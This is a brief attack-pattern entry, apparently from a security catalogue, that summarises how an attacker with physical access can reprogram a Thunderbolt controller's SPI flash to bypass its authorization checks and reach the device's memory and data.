An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.